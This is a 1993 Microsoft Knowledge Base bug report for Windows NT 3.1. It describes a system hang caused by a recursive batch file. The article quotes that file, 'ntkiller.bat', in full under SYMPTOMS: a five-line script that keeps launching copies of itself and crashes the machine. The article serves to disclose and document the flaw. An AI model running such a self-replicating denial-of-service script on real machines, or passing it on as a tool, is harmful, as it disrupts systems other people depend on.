DOCUMENT:Q105851  22-NOV-1993  [W_NT]
TITLE   :Recursive Batch File Causes System to Stop Responding
PRODUCT :Windows NT
PROD/VER:3.10
OPER/SYS:WINDOWS
KEYWORDS:buglist3.10 fixlist3.10.003

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The information in this article applies to:

 - Microsoft Windows NT operating system version 3.1
 - Microsoft Windows NT Advanced Server version 3.1
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SYMPTOMS
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When the following batch file is run, your system may stop responding
(hang) within about one minute:

   @rem Name this file "ntkiller.bat" and run!
   @title NT Killer v1.1 (c) Oxymoron 1993  DISTRIBUTE FREELY
   @start ntkiller.bat
   @start /b ntkiller.bat
   @exit

CAUSE
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When an application that is started from the command prompt starts
another application from the command prompt, memory corruption occurs
and the system hangs.

STATUS
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Microsoft has confirmed this to be a problem in Windows NT and Windows
NT Advanced Server version 3.1. We are researching this problem and
will post new information here in the Microsoft Knowledge Base as it
becomes available.

Additional reference words: 3.10 ntkiller.bat
KBCategory:
KBSubCategory: winnt

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